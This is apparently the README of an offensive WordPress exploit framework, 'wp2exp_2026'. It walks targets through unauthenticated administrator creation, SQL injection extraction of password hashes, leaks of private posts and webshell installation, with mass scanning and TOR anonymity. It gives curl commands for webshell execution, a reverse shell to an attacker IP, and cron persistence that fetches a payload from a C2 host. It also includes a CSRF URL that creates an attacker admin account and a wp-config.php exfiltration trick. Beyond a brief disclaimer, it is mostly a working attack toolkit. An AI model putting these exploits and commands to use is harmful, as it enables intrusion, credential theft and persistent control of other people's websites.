Exploit for Interpretation Conflict in Wordpress

## https://sploitus.com/exploit?id=EAD3091E-D6DE-595F-BECF-235A06F58FB5
# wp2exp_2026 🔥

**WordPress All-in-One Exploit Framework** — Detector · Scanner · Enumerator · Exploit · Escalation

`wp2exp_2026` is the rebranded, battle-tested successor of the `wp2shell` framework. It merges the original wp2shell checker/exploit chain, three public CVE-2026-63030 PoC kits (Ch4120N, shinthink, SentinelX), and the August 2026 WordPress CVE wave scraped from NVD / GitHub Advisories / CISA KEV through the TOR darkweb-intel pipeline — into **one script** that walks a target from passive fingerprinting all the way to a verified webshell.

```
┌──────────┐    ┌──────────┐    ┌───────────┐    ┌───────────┐    ┌──────────┐
│ DETECTOR │ -> │ SCANNER  │ -> │ ENUMERATOR│ -> │ EXPLOIT   │ -> │ ESCALATE │
│ 10 CVEs  │    │ version/ │    │ users/    │    │ admin     │    │ webshell  │
│ probes   │    │ WAF/XMLRPC│    │ plugins   │    │ create/   │    │ rev shell │
└──────────┘    └──────────┘    └───────────┘    └───────────┘    └──────────┘
```

> ⚠️ **AUTHORIZED TESTING ONLY.** The `scan` mode is non-destructive. Exploitation modes explicitly require `--mode`. You are responsible for having written permission for every target.

---

## 📦 Installation

```bash
# Clone
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026

# Dependencies: Python 3.8+ standard library only.
# Optional: PySocks for SOCKS5/TOR proxying
pip install pysocks
```

No API keys, no database, no compilation.

---

## 🚀 Quick Start

```bash
# 1. Safe scan of one target (detector + scanner + enumerator)
python3 wp2exp_2026.py https://target.com

# 2. Same scan, but fire exploitation (admin creation + content dumps)
python3 wp2exp_2026.py https://target.com --mode exploit

# 3. Full chain to a verified webshell
python3 wp2exp_2026.py https://target.com --mode shell

# 4. Mass scan a file of targets
python3 wp2exp_2026.py -f targets.txt --threads 10

# 5. Anonymous scanning through TOR
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050
```

---

## 🔧 Command-Line Reference

```
usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
                      [--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
                      [--timeout N] [--threads N] [--json] [-o OUTPUT]
```

| Argument | Default | Description |
|---|---|---|
| `targets` | — | One or more base URLs (`https://site.com` or bare `site.com`) |
| `-f, --file` | — | File with one target per line (`#` comments allowed) |
| `--mode` | `scan` | `scan` = detect only · `exploit` = scan + exploitation · `shell` = scan + exploit + webshell |
| `--shell` | `mini` | Webshell type: `mini` (one-liner exec) or `full` (file mgmt / download / reverse shell / cron persistence) |
| `--mapster-dump` | `0` | Dump N post IDs via CVE-2026-14839 (0 = disabled) |
| `--sqli-info` | off | Extract `db_version` / `siteurl` / admin password hash / table prefix via SQLi (CVE-2026-60137) |
| `--verify` | off | Environment self-check (python, PySocks, proxy reachability, CVE matrix, version parser) and exit |
| `--proxy` | — | HTTP proxy or SOCKS5: `socks5h://127.0.0.1:9050` (TOR) |
| `--timeout` | `15` | Per-request timeout (seconds) |
| `--threads` | `5` | Parallel targets (only used with multiple targets / `-f`) |
| `--json` | — | Print machine-readable JSON report to stdout |
| `-o, --output` | — | Write full JSON report to file |

---

## 🧭 Mode-by-Mode Guide

### Mode 1: `scan` — Detector + Scanner + Enumerator (safe)

Non-destructive. Use this first on any target.

**What it does, in order:**

| # | Stage | Checks |
|---|---|---|
| 1 | **Fingerprint** | WordPress version via `/feed/` generator, `/readme.html`, meta generator, REST API generator — flags if version falls inside the wp2shell vulnerable range (`6.9.0–6.9.4`, `7.0.0–7.0.1`) |
| 2 | **WAF detect** | Cloudflare / Sucuri / Akamai / AWS WAF / Imperva / Wordfence / F5 from headers + body markers |
| 3 | **XMLRPC** | `system.listMethods` probe → flags multicall brute-force and pingback SSRF surface |
| 4 | **User enum** | REST `/wp-json/wp/v2/users` + `?rest_route=` fallback + author archive (`?author=N`) |
| 5 | **Plugin enum** | readme.txt `Stable tag` for all 8 tracked plugins — flags vulnerable versions against the CVE matrix |
| 6 | **wp2shell probe** | Safe batch desync probe (CVE-2026-63030) — sends malformed primer + benign DELETE to a non-existent category; looks for handler-hijack markers (`parse_path_failed`, `block_cannot_read`, `rest_batch_not_allowed`) |
| 7 | **CVE checks** | Live behavioral probes + version checks for all 10 CVEs (see table below) |

**Example:**
```bash
python3 wp2exp_2026.py https://example.com
# outputs: version, WAF, XMLRPC, users, plugin versions, per-CVE verdicts
```

---

### Mode 2: `exploit` — Scan + Exploitation

Everything in `scan`, plus:

| Exploit | Condition | What happens |
|---|---|---|
| **Pre-auth admin creation** | wp2shell `VULNERABLE` | Attempt 1: batch route-confusion payload lands `POST /wp/v2/users` with `roles:["administrator"]`. Attempt 2 (fallback): SQLi oEmbed cache-poisoning chain (shinthink) — union-injects a `customize_changeset` to hijack oEmbed cache + create admin. Prints `username / password` on success |
| **SQLi info extraction** | `--sqli-info` | Error/union-based extraction (CVE-2026-60137): `db_version`, `siteurl`, first admin `user_pass` hash, table prefix |
| **Mapster content dump** | `--mapster-dump N` | Enumerates post IDs `1..N` via `/wp-json/mapster-wp-maps/feature?id=N`, harvesting **draft / pending / private / trashed** post titles + full content (CVE-2026-14839) |

**Example:**
```bash
# Scan + create admin + dump 200 post IDs through Mapster
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200
```

---

### Mode 0: `--verify` — Environment Self-Check

Validates the runtime before any scan: Python ≥3.8, PySocks availability (SOCKS5/TOR), proxy reachability (if `--proxy` set), CVE matrix integrity, version-parser correctness.

```bash
python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050
```

---

### Mode 3: `shell` — Full Chain to Webshell

Everything in `exploit`, plus **escalation**: if admin creation succeeds, the script:

1. **Logs in** to `wp-login.php` (cookie jar)
2. **Path A (theme):** extracts theme-editor `_wpnonce` + active theme → writes webshell via `admin-ajax.php?action=edit-theme-plugin-file`
3. **Path B (plugin, fallback):** if theme editor is unavailable → builds a plugin zip containing the shell, uploads via `update.php?action=upload-plugin`, activates it
4. **Verifies** by executing `id` through the shell — prints the live command output

**Webshell types (`--shell`):**

| Type | Features |
|---|---|
| `mini` | `?k=KEY&c=COMMAND` → plain-text command output |
| `full` | `a=cmd` exec · `a=upload` file write (b64) · `a=download` file read · `a=rev` reverse shell (`h=HOST&p=PORT`) · `a=persist` crontab persistence (`u=URL`) · default `phpinfo()` |

**Example:**
```bash
python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...
```

**Manual shell usage after a successful run:**
```bash
# Command execution (mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'

# Full shell — file upload
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d='

# Full shell — reverse shell (listener: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'

# Full shell — cron persistence (curl piped to sh from your C2)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'
```

---

## 🧨 CVE Coverage (August 2026 wave)

| CVE | Target | CVSS | Class | Detection | Exploitation |
|---|---|---|---|---|---|
| CVE-2026-63030 | WP Core 6.9.0–6.9.4, 7.0.0–7.0.1 | 9.8 | REST batch route confusion → RCE | ✅ desync markers probe | ✅ admin create + shell |
| CVE-2026-60137 | WP Core (same range) | 5.9 | `author__not_in` SQLi | ✅ version + marker | ✅ via 63030 chain |
| CVE-2026-3141 | FormGent ≤ 1.9.2 | 9.1 | Unauth arbitrary file deletion | ✅ live DELETE probe | ✅ forgeable b64 `file_token` |
| CVE-2026-13596 | Participants DB ` — route registered without auth middleware; token is raw base64 of the relative path (forgeable). Fixed versions use a signed `UploadFileToken`.
- **AI Engine (15988):** `reauth_for_authorize` matched `/mcp/v1/oauth/authorize` with a **substring** test against `REQUEST_URI` including the query string. Append `&x=/mcp/v1/oauth/authorize` to any REST request to restore the cookie user's full identity. Classic CSRF: an admin visiting the crafted URL creates an attacker account.
  ```
  https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
  ```
- **Bit Integrations (15006):** plugin sets `wpcf7_verify_nonce => __return_true` → CF7 submissions need no nonce; submit a file field containing `../../../../wp-config.php` and the integration action (webhook/email) exfiltrates the file.
- **Nex Forms (15450):** `insert_record()` stores an attacker-influenced file `location`, then `delete_file()` calls `unlink($file)` with no `realpath()`/allowlist validation.
- **Subscriptions for WooCommerce (15414):** `save_meta_boxes()` persists `_wps_plan_user_role` from `$_POST`; only `sanitize_key()` + `is_role()` are applied — both accept `administrator`.

---

## 🕶️ TOR / Darkweb Integration

The script was built from intelligence gathered by the TOR darkweb-intel pipeline (NVD fresh-CVE scrape, GitHub Advisories, CISA KEV) and supports anonymous scanning:

```bash
# Scan through TOR (requires tor daemon on 9050)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5

# Verify your exit node
# (script's Http layer reports IsTor:true when routing through TOR)
```

**Verified behavior:** proxy plumbing confirmed against `check.torproject.org/api/ip` → `{"IsTor":true}` through exit `192.42.116.45`.

---

## 📊 Output & Reporting

```bash
# Console: colored per-stage verdicts + final summary table
# JSON report to file (always includes raw responses for evidence)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json

# Full JSON to stdout for piping into jq / your own tooling
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'
```

Report structure:
```json
{
  "target": "https://example.com",
  "version": "7.0.1",
  "waf": "Cloudflare",
  "xmlrpc": true,
  "users": [{"id": 1, "name": "admin", "slug": "admin"}],
  "plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
  "core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
  "cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
  "exploitation": {
    "wp2shell_admin": {"success": true, "username": "...", "password": "..."},
    "shell": {"success": true, "shell_url": "...", "key": "..."},
    "mapster_posts": [...]
  }
}
```

---

## 🧪 Validation

Validated 2026-08-04 against an emulated vulnerable WordPress lab — **QA battery: 32/32 checks PASS** (all modes, JSON purity, multi-target, bare-host normalization, mapster draft/private leak, SQLi extraction of db version + admin hash, full shell chain):

```
wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45
```

---

## 🧩 Roadmap / Contributing

- [x] SQLi auto-extraction (union engine) wired into `exploit` mode (`--sqli-info`)
- [x] SQLi oEmbed admin-create fallback (shinthink chain)
- [x] Plugin-zip webshell upload fallback
- [x] `--verify` environment self-check
- [ ] WordPress username → password spray module (XMLRPC multicall)
- [ ] Auto-refresh CVE matrix from `darkweb_intel.py` output
- [ ] HTML report generator

PRs welcome. Keep payloads non-destructive by default.

---

## ⚖️ License & Ethics

MIT. **Authorized engagements only.** Never run `--mode exploit` / `--mode shell` against assets you do not own or have written permission to test. The authors are not responsible for misuse.